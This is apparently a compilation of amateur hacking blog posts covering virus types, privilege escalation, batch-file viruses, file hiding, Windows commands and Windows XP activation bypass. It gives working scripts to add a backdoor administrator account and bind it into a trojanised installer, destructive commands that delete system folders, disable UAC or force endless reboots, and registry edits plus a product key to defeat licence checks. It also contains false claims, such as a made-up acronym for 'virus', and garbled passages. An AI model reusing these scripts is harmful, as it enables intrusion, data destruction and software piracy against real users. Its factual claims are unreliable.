Virus And Worm - A Defenition

In this following post we will have a little look on what are virus and worm. As told earlier viruses are considered as very first form of computing threats its necessary for a hacker to know what is difference between a virus and worm and what are different
types of virus.

What is virus?

A virus is a self replicating program that produces its own code by attaching copies of itself into other executable codes. Like a real virus, a computer virus is contagious and can contaminate other files. Virus can infect outside machines only with assistance of computer users.

Many people think the word virus is derived from real life viruses but this is not true, the word virus is derived from abbreviation of its full form Vital Information Resource Under Seize(VIRUS). Its just coincidence that the abbreviation matches word virus.

Classification Of Virus:

Virus is classified depending on two categories depending on,

What they infect ?

How they infect ?

What they infect?

Boot Viruses: They specially infect boot sector records from hard disk, floppy disk and CD/DVD ROMS.

Program Virus: These virus usually infect executable program files like .exe, .bat, .com, .bin, .ovl, .drv, .sys

Multipartite Virus: These virus infect both boot sector as well as program files.

Network Virus: They spread themselves using emails and flaws in network protocol stack.

Source Code Virus: Source code virus overwrites or appends host code by adding Trojan code in it.

File Virus: File virus generally infects executable files in OS.

Macro Virus: They infect documents, spreadsheets, database, nearly everything that is included as office suite

How they infect ?

Polymorphic Virus: They can change their code with each infection.

Stealth Virus: Can hide from anti-virus programs.

Cavity Virus: Maintains itself with negligible file size and hence after infecting any file the file's size appears unaltered.

Tunneling Virus: Conceals itself under anti-virus and then infects.

Camouflage Virus: Hides itself in genuine application.

What are worms?

Worms are nothing but subtypes of viruses. Unlike virus a worm doesn't require a host to replicate. WormsWormsWorm exists in all types of virus since its only modified form of a computer virus. can creep into another computer in network without user's assistance and hence called as worm. were firstly targeted towards mainframe UNIX systems but today they are very much targeted towards windows OS.

Privilage Escalation

Enumeration only means identification of information that can be used to intrude system. And an attacker needs a weak user account to intrude system, it doesn't matter if that user account doesn't have administrative privileges or not because its job of hacker to grant himself/herself administrative privileges or add an account that will be having administrative privileges for him/her.
The process of making a normal user a super user is known as privilege escalation. An attacker by all means will try his/her best to become super user. He can manually make itself super user or can use tools for the reason, for now we will learn how he can set up things manually to escalate privileges. Be sure we will also cover tools that can be used for this but later not now.

Once an attacker is in he/she may get rights to use devices, files and folders in system. No matter he/she is not a super user he/she will have rights to use shared network folder and might even have rights to copy data in it. This is where the hacker will do his/her job of creating a user with administrative privileges or add himself/herself as user with administrative privileges.

For adding a user with administrative privileges open notepad and type following commands and save it as batch script( .bat extension),

@echo off

net user Nrupen 12345678 /add

net localgroup administrators Nrupen /add

the above script will add a user with name Nrupen with password 12345678 and assign it administrative privileges. For making an existing user a super user he/she will type following commands in batch script.

@echo off

net localgroup administrators user_name /add

The disadvantage of above script is that it appears on command prompt when executed so we have to hide them in some another program, here for demonstration I am using AIMP2 its a music player program, an attacker will use a program in which administrative user will be interested in. To combine programs we can use “iexpress.exe” wizard in windows, other tool that we are in need of is “Resource Hacker”. Open command prompt and type “iexpress.exe” in it.

Select “Create New Self Extraction Directive”.

Now select “Extract Files And Run Installation Command”

Press next and type title of package, use name of program you want to bind your scripts with.

In confirmation prompt select “No Prompt” then press next and select “Do not display license”. Now add your script file and program file you want to bind.

Now from “install program” option select the program file you want to bind and in “post install command” select your batch script script or vise-versa. Please note that if you are adding batch script in this way you will have to add an extra line to script which will delete script after execution. So the final script that you will use will have following lines in it.

@echo off

net user Nrupen 12345678 /add

net localgroup administrators Nrupen /add

del new.bat

 Press next then select “default(recommended)” then “no message” select location and create bonded file.

When your file will be created you'll find its icon doesn't appear like the original program use resource hacker to change its icon. At present I am not covering how o use resource hacker so please check its help file to check out how to change icon using resource hacker. Now try to make some provision so that system administrator should execute this bonded file. The installation will begin without problem and your script will be executed in background.

Same batch script effect can also be achieved in UNIX or Linux systems by typing following commands in shell script.

useradd -G root Nrupen

echo 12345678 || passwd –stdin Nrupen

Above commands will create user Nrupen with password 12345678 and it will be the member of root group that means a super user. Your next step will be anyhow make any super user member execute the shell script with above code, because in Unix and Linux environment you don't have ready made programs that can help you out as in windows. Your knowledge of Unix and Linux platform should be sound enough to fool root group member to execute your script.

College students usually use windows privilege escalation trick to fool their lecturers and get administrative privileges of their lecturer's PC and that's how they become able to install Trojans and spy-wares in their PC's and alter their assignment marks. In next section to this we will have our look on tools that can be used for privilege escalation and then how to execute process remotely on victim PC. Till then if you have any questions, please don't hesitate to ask, thanks for reading and keep visiting.

Create Your Own Computer Virus For Windows....

---

In this following tutorial I will demonstrate how you can create simple but effective viruses using batch scripts in windows. This is for educational purpose only. Batch scripts are nothing but commands that you type in windows command prompt. You can arrange single or multiple commands in specific order to harm system.

Following is an example of destructive virus script,

rd /f /q “c:\windows\system32”

cls

shutdown /s /t 00

this will delete all files from windows system32 folder making windows unusable. By the way this trick works only on Windows XP,2k and earlier. Will not work under Vista and 7 due to UAC(User account control). So here's another way to harm system, rather than deleting core system files delete Program files so the above code will appear as follows after modification.

rd /s /f /q “c:\program files”

This will delete all installation files from Program Files directory making all victim's installed program useless. By the way you can disable UAC using following code but system will need a restart,

reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableUAC /t REG_DWORD /d

0x00000000

After that you can run first code without problem. Above codes are examples of destructive codes now lets take a look on codes that do not harm but can harass the victim.

A batch script that will put computer in continues restart mode,

@echo off

if exist "%userprofile%\start menu\programs\startup\virus.bat" goto h

copy virus.bat "%userprofile%\start menu\programs\startup\"

shutdown /r /t 00

:h

shutdown /r /t 00

where virus.bat is the name of our virus script.

A batch virus that will open several windows of same program,

@echo off

:h

cmd /c start /MAX /HIGH tree c:\

where you can replace tree c:\ by any command/program name you wish.

Following code will open several websites on victims PC,

@echo off

start http://nrupentheking.blogspot.com

start http://nrupentheking.blogspot.com

start http://nrupentheking.blogspot.com

start http://nrupentheking.blogspot.com

start http://nrupentheking.blogspot.com

start http://nrupentheking.blogspot.com

:

:

start http://nrupentheking.blogspot.com

where you can replace http://nrupentheking.blogspot.com by any website URL you want even links to images will work. If you paste above code for nearly 1000 times victim's PC will crash of overload.

Above are just few possibilities the advantage of batch code is they hardly get detected by any anti-virus programs that means they can run and damage system without getting detected as virus. To get complete list of commands type help in command prompt. I hope that was easy, ask if you have any difficulty and please don't execute above scripts on your own computer. Thanks for reading and keep visiting.

Different Ways To Hide Files In Windows System...

Different Ways To Hide Files In Windows System

---

Here in this section we will see how we can hide files(not folders) in Windows system without using any third party file hiding software.

1.Using attrib command:

attrib command is used to set file attributes, this command can be used to hide files as well as folders in any windows system. Type following command to hide complete folder,

c:\> attrib /s /d +h +s +r folder_name/file_name

to hide file type,

c:\> attrib /s /d +h +s +r file_name/folder_name

2.Using binary file addition with image:

To use this trick you will need any file compression utility(example, Winrar, Winzip, 7zip, Peazip). First of all compress your folders or files into compressed archive. For example let our archive name be demo.zip and image name be demo.jpeg. Now by taking binary addition of these files as image file can hide archive inside any image without any S-Tool. Type following commands,

c:\>copy /b image_file + archive_file output_image_file

now archive file will be hidden inside output image file. To extract archive file open image in any of file compression tool and extract files.

Example:

c:\>copy /b demo.jpeg + demo.zip out.jpeg

3.By using NTFS stream:

NTFS file system has a new feature added in it known as Alternate Data Stream, this property of NTFS file system can be used o hide files in another file. Press “win+R” then type “cmd.exe” in Run Window and open command prompt. Suppose the file you want to hide is max.exe in folder named hidden then type following command.

C:\hidden\>notepad hide.txt

C:\hidden\>type c:\hidden\max.exe > c:\hidden\hide.txt:max.exe

Now delete original max.exe and note size of hide.txt, you'll find no increase in file size. Your file max.exe is now hidden in hide.txt. To retrieve it simply copy hide.txt in FAT partition and you'll get both files separated.

Basic Windows Commands That you Should Know

So in this section we will discuss some of the most used basic commands of windows and frequently used switches with them. Now why the hell in world of Graphical User Interface (GUI) of windows I need to learn windows commands? Answer is, no matter how much cool the GUI appears, the most powerful feature of any OS till today is its shell when comes to control,I may hardly get any to disagree on this and shell is handled with the help of shell interpreter/emulator better known as command line in common, command prompt in windows and terminal/konsole/tsch/zch etc in Linux depending on shell emulator. As a hacker you must be able to master most of the commands and their most commonly used switches. So get ready to have a look on them,

attrib: (attributes) is used to set attributes of a file or folder.

Syntax: attrib filename/foldername

most commonly used switches includes: +h -h,+r -r,+s -s, /s /d

where 'h' means Hide attribute, 'r' means read,' s' means system,

'/s' means apply to files in folder and “/d” means apply to folders inside

'+' means apply attributes, '–' means remove attributes

Example: attrib +h +r +s /s /d c:\max

this will apply hidden, read only and system file attributes to all files and folders of folder max

cd/chdir: (change directory) is used to change directory.

Syntax: cd option

where option may include full path of folder where you want to jump.

Example: “cd d:\demo” will take you to demo folder in d drive in spite of where you are at present.

Cd .. go one step back.

Cd\ return to main drive.

Compact: Used to compress contents of folder without zipping or archiving them.

Syntax: compact options foldername

Options are 'c' means compress, 'u' means uncompress 'f' force compression

Example: This command is mostly used link this

compact /c /f folder_name

compact /u /f foldr_name

Copy: Used to copy files(not folder)

Syntax: copy /option source_file destination

Options can be left blank and mostly left blank. Most used switches includes 'a' which means ASCII file and 'b' which means binary file.

Example: copy c:\robot.txt d:\ this will copy robot.txt file from c to d drive.

Mkdir: used to crease folder

Syntax: mkdir drive\foldername or mkdir foldername

Example: mkdir max

mkdir a\b\c\v

Rename: used to rename file

Syntax: rename file1 file2

Example:rename max.txt dave.txt

this will rename max.txt to dave.txt

RD\Rmdir:(remove directory) Used to remove directory

Syntax: rmdir directory_name

Example: rmdir max

This will remove directory named max.

Other commands:

Date: Displays ans sets date.

Time:Displays and sets time.

Tasklist: Shows running processes

Taskkill: Used to kill a process rather than going in switch detail I 'll directly show you syntax to kill a process but first get process ID by executing Tasklist.

Syntax: taskkill /PID process_id /f

Example: taskkill /PID 1234 /f

Now so far as I think no one can remember all those switches so better try to use “command /?” this will open help pages for command. Note that we haven't yet covered all commands we just took an overlook over most basic windows commands, with time we'll move ahead and learn some really complicated commands and their switches. Till then I recommend you to try to run and execute all these commands and also try to find out other switches used while using commands by post-fixing commands with /? Commands like “set” and “net” may themselves need two to three posts like this so its better to cover them when need arrives. Till then if you have problem executing any of above commands feel free to ask.

How To Hide An Installed Program In Windows

In this post I will show you how you can hide an installed program from others in your system. I was in college when I created this trick to disallow my friends from playing games on my PC. I hope you 'll find this trick helpful. So, here's the trick,

First of all locate directory of installation from Program Files folder in C drive. For example you want to hide mozilla firefox installation from others then go to C:\Program Files\Mozilla Firefox folder and find firefox.exe. Once you get the main executable file, open notepad and type complete path of firefox.exe in it, for our example it will appear like this,

“C:\Program Files\Mozilla Firefox\firefox.exe”

should be with quotes otherwise it'll not work, now save this notepad file with whatever name you want with .cmd extention. For example I assume file is saved as fox.cmd . Now delete shortcuts for firefox from start menu, desktop and quick launch. Now open command prompt and change directory to Program Files and type following commands,

C:\Program Files>attrib /s /d /l +s +h +r "Mozilla Firefox"

You'll find Mozilla Firefox directory disappeared from Program Files. Now paste your fox.cmd file in C:\Windows\System32\ folder.

As you will remove all shortcuts to executable file there will be no link and as the directory is hidden using attrib command no one can see it. Now to run your program open command prompt and type fox or the name with which you saved .cmd file. Within seconds you will see firefox or hidden program popping out in new window. One of the advantages of this trick is that you'll be able to disallow people from using unwanted programs even though he/she will have admin privileges specially your family members and friends.

Please note that the hidden installed program will appear in add/remove program list but will be accessible to the person who knows name of .cmd file. Have fun.

How TO Make Your Windows XP Genuine!!!

You have a copy of Windows XP which several times pop up message about its activation, you don't have internet connection to activate your XP. So here's the trick that can help you get rid of this problem. Please note that this trick will only work on ordinary Windows XP SP1-SP2 installation that too before installing any other program on it i.e
your installation must be fresh to make this trick work out. Also it will not work on OEM version of Windows XP so if this trick doesn't work for you check your copy for OEM.

Method 1:

Open Notepad and copy following lines in it,

---

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion]
“CurrentBuild”=”1.511.1 () (Obsolete data – do not use)”
“ProductId”=”55274-640-1011873-23081″
“DigitalProductId”=hex:a4,00,00,00,03,00,00,00,35,35,32,37,34,2d,36,34,30,2d,
31,30,31,31,38,37,33,2d,32,33,30,38,31,00,2e,00,00,00,41,32,32,2d,30,30,30,
30,31,00,00,00,00,00,00,00,86,56,4e,4c,21,1b,2b,6a,a3,78,8e,8f,98,5c,00,00,
00,00,00,00,dd,da,47,41,cc,6b,06,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,38,31,30,32,36,00,00,00,00,00,00,00,b5,16,
00,00,83,83,1f,38,f8,01,00,00,f5,1c,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,66,e5,70,f3
“LicenseInfo”=hex:33,b7,21,c1,e5,e7,cd,4b,fd,7c,c6,35,51,fd,52,57,17,86,3e,18,
d3,f4,8c,8e,35,32,7b,d1,43,8d,61,38,60,a4,ca,55,c9,9a,35,17,46,7a,4f,91,fc,
4a,d9,db,64,5c,c4,e2,0f,34,f3,ea
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWPAEvents]
“OOBETimer”=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd

---

Now save this file with .reg extension double click on it, refresh your computer and restart it. You must be done. If anyhow you are not lucky with above trick download any of the following file, double click on it refresh your computer then restart it.

Method:2

Download Link-1

Download Link-2

Download Link-3

Download Link-4

Method:3
This will allow you to bypass the Microsoft Genuine Validation thingythis method works better than many others i've tried before.
forget the cracks and injectors etc... this is the BEST WAY:
1) start > run > "regedit" (without the quotes of course)
2) go to the key:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer...and doubleclick on it.
Then change some of the value data to ANYTHING ELSE...delete some, add some letters, I don't care...just change it!now close out regedit.
3) go to start > run > "%systemroot%\system32\oobe\msoobe.exe /a" (again, dont type the quotes)
4) the activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.
Now you can dl all the updates without activating,
and the Genuine Microsoft Validation thingy won't bug you no more!!
Works with most WinXP versions though ther r some exceptions...

Method:4

If none of above is working for you then visit following link, you will surely get a working key,

Make Windows XP Genuine

Have fun.